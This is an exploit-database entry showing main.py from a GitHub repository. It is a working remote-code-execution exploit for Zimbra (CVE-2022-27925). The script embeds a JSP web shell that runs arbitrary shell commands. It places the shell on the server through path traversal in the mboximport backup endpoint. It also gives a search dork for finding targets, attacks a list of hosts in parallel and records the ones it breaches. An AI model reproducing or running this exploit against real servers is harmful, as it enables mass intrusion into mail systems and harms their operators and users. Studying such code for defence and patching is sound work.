Exploit database

GH-332cee96d82db162e87a1a0b7b69c159

sh4den/cve-2022-27925

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-27925

8 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
sh4den/cve-2022-27925Revision 686b35f87d9a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.py

Python · 5,538 bytes
# Exploit Title: Zimbra RCE 2022
# Dork: title: "<title>Zimbra Web Client Sign In</title>"
# Date: 10/01/2022
# Exploit Author: sh4den
# Vendor Homepage: https://www.zimbra.com/
# Software Link: https://www.zimbra.com/downloads/
# Version: between 8.8.15 and 9.0.0
# Tested on: Debian, Ubuntu, Windows
# CVE : CVE-2022-27925

import sys
import zipfile
import io
import random
import colored
from datetime import datetime
from colored import stylize
import threading
import string
import requests
import concurrent.futures
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class Main:
    def formatConsoleDate( date ):
        return '[' + date.strftime('%Y-%m-%d-%H:%M:%S') + ']'
        pass

    def randomString( size ):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))
        pass

    def normalizeUrl( url ):
        if not "://" in url:
            url = "https://" + url
            url = url.rstrip("/")
        return url
        pass

    def assembleArchive( payload, directory ):
        zipReader = io.BytesIO()
        zipObject = zipfile.ZipFile( zipReader, "w" )
        zipObject.writestr( directory, payload )
        zipObject.close()
        return zipReader.getvalue()
        pass

class Exploit:
    def __init__( self, host ):
        self.javaPayload =  '<%-- Author (shell): https://github.com/jimidk --%>\n' + '<%@ page import="java.io.*" %>\n' + '<%\n' + '    String cmd = request.getParameter("cmd");\n' + '    String output = "";\n' + '    String error = "";\n' + '    if(cmd != null) {\n' + '        String[] commandAndArgs = new String[]{ "/bin/sh", "-c", cmd };\n' + '        String s = null;\n' + '        Process process = Runtime.getRuntime().exec(commandAndArgs);\n' + '        InputStream inputStream = process.getInputStream();\n' + '        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));\n' + '        Thread.sleep(2000);\n' + '        while(process.isAlive()) Thread.sleep(100);\n' + '        while((s = reader.readLine()) != null) { output += s+"&#13;&#10;"; }\n' + '        reader = new BufferedReader(new InputStreamReader(process.getErrorStream()));\n' + '        while((s = reader.readLine()) != null) { error += s+"&#13;&#10;"; }\n' + '    }\n' '%>\n' + '<%= output %>\n' + '<%= error %>\n'
        self.fileName = Main.randomString(6) + ".jsp"
        self.host = host
        self.vulnerableDirectories = [
            "../../../../mailboxd/webapps/zimbraAdmin/",
            "../../../../jetty_base/webapps/zimbraAdmin/",
            "../../../../jetty/webapps/zimbraAdmin/"
        ]
        self.headers = {
            "content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
        }
        pass


    def run( self ):
        global params

        runAttempts = 0
        for directory in self.vulnerableDirectories:
            runAttempts += 1
            
            try:
                zippedfile = Main.assembleArchive(self.javaPayload, directory + self.fileName)

                requests.post(self.host + "",data=zippedfile,headers=self.headers,verify=False,timeout=20)
                requests.post(self.host + "/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1",data=zippedfile,headers=self.headers,verify=False,timeout=20)

                httpRequest = requests.get(self.host + "/zimbraAdmin/" + self.fileName + "?cmd=" + params['command'],verify=False,timeout=20)
                if httpRequest.status_code == 200:
                    print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                        stylize(f" [success] Command executed on {self.host} [{runAttempts}/3]", colored.fg('green')))
                    with open(params['ouput'], 'a+') as file:
                        file.write(self.host+"\n")
                    return True
                else:
                    print(stylize(Main.formatConsoleDate(datetime.today()), colored.fg('#ffe900')) +
                        stylize(f" [error] {self.host} is not vulnerable [{runAttempts}/3]", colored.fg('red')))
                    pass
            except:
                pass
            pass
        pass


def main():
    global params

    print(stylize('''
                 ╦ ╦╔═╗╦═╗╔═╗╔╗ 
                 ╠═╣║ ╦╠╦╝╠═╣╠╩╗
                 ╩ ╩╚═╝╩╚═╩ ╩╚═╝
            test first, analyze after
    ''', colored.fg('red')))

    if len(sys.argv) < 4:
        print(stylize("""
    [ERROR]""", colored.fg('red'),
                      colored.attr('underlined'))
              + """ bad command usage
            """ + stylize("Usage Sheme:", colored.fg('#ffe900'),
                          colored.attr('underlined')) + """
                - user@some_name:~# python3 main.py <vuln-list> <ouput> <command>
        """)
        sys.exit()
        pass

    params = {}
    params['file'] = sys.argv[1]
    params['ouput'] = sys.argv[2]
    params['command'] = sys.argv[3]

    with open(params['file'], 'r') as file:
        for line in file:
            host = line.strip()
            exploit = Exploit(host)
            threading.Thread(target=exploit.run).start()
            pass
        pass
    pass


if __name__ == "__main__":
    main()
    pass